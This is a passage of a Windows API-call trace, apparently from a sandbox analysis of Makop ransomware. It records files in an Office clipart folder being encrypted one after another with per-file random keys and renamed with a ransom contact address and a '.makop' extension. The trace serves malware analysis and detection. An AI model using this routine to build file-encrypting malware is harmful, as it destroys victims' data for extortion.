SetEndOfFile (hFile=0xf0) returned 1 [0115.354] GetProcessHeap () returned 0x48a0000 [0115.354] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.354] GetProcessHeap () returned 0x48a0000 [0115.354] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.354] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.354] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.355] CloseHandle (hObject=0xf0) returned 1 [0115.356] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c80, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01618_.WMF", cAlternateFileName="")) returned 1 [0115.356] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0115.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.356] GetProcessHeap () returned 0x48a0000 [0115.356] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.357] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.357] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.357] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.357] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.357] GetProcessHeap () returned 0x48a0000 [0115.357] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.357] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.357] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.357] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.384] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.384] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.384] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.384] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.385] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.385] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.385] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.385] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.385] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1c80, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1c80, lpOverlapped=0x0) returned 1 [0115.387] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1c80, dwBufLen=0x1c80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1c80) returned 1 [0115.387] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.387] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1c80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1c80, lpOverlapped=0x0) returned 1 [0115.387] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.388] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1d54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.388] SetEndOfFile (hFile=0xf0) returned 1 [0115.395] GetProcessHeap () returned 0x48a0000 [0115.395] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.395] GetProcessHeap () returned 0x48a0000 [0115.395] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.395] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.395] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.397] CloseHandle (hObject=0xf0) returned 1 [0115.397] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83101700, ftCreationTime.dwHighDateTime=0x1bd4bdc, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83101700, ftLastWriteTime.dwHighDateTime=0x1bd4bdc, nFileSizeHigh=0x0, nFileSizeLow=0x1526, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01759_.WMF", cAlternateFileName="")) returned 1 [0115.397] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0115.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.399] GetProcessHeap () returned 0x48a0000 [0115.399] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.399] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.399] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.400] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0115.407] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.407] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.407] GetProcessHeap () returned 0x48a0000 [0115.407] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.408] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.408] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.408] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.408] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.408] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.408] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.408] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.409] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.409] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.409] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.409] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.409] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1526, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1526, lpOverlapped=0x0) returned 1 [0115.411] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1530, dwBufLen=0x1530 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1530) returned 1 [0115.411] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.411] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1530, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1530, lpOverlapped=0x0) returned 1 [0115.411] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.411] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1604, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.411] SetEndOfFile (hFile=0xf0) returned 1 [0115.418] GetProcessHeap () returned 0x48a0000 [0115.418] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.418] GetProcessHeap () returned 0x48a0000 [0115.418] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.418] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.418] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.419] CloseHandle (hObject=0xf0) returned 1 [0115.419] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b938600, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b938600, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01875_.WMF", cAlternateFileName="")) returned 1 [0115.419] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0115.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.420] GetProcessHeap () returned 0x48a0000 [0115.420] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.420] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.420] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.420] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.425] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.425] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.425] GetProcessHeap () returned 0x48a0000 [0115.425] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.425] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.425] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.425] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.425] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.426] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.426] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.426] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.426] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.426] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.426] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.426] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.427] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa38, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa38, lpOverlapped=0x0) returned 1 [0115.427] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa40, dwBufLen=0xa40 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa40) returned 1 [0115.427] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.427] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa40, lpOverlapped=0x0) returned 1 [0115.427] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.427] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.427] SetEndOfFile (hFile=0xf0) returned 1 [0115.435] GetProcessHeap () returned 0x48a0000 [0115.435] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.435] GetProcessHeap () returned 0x48a0000 [0115.435] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.435] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.435] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.436] CloseHandle (hObject=0xf0) returned 1 [0115.436] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71426a00, ftCreationTime.dwHighDateTime=0x1bd4c04, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71426a00, ftLastWriteTime.dwHighDateTime=0x1bd4c04, nFileSizeHigh=0x0, nFileSizeLow=0x6852, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01923_.WMF", cAlternateFileName="")) returned 1 [0115.436] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0115.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.438] GetProcessHeap () returned 0x48a0000 [0115.438] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.438] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.438] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.438] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0115.442] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.442] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.442] GetProcessHeap () returned 0x48a0000 [0115.443] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.443] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.443] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.443] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.443] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.443] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.443] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.443] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.444] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.444] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.444] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.444] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.444] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6852, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6852, lpOverlapped=0x0) returned 1 [0115.446] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6860, dwBufLen=0x6860 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6860) returned 1 [0115.446] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.446] WriteFile (in: hFile=0xf0, 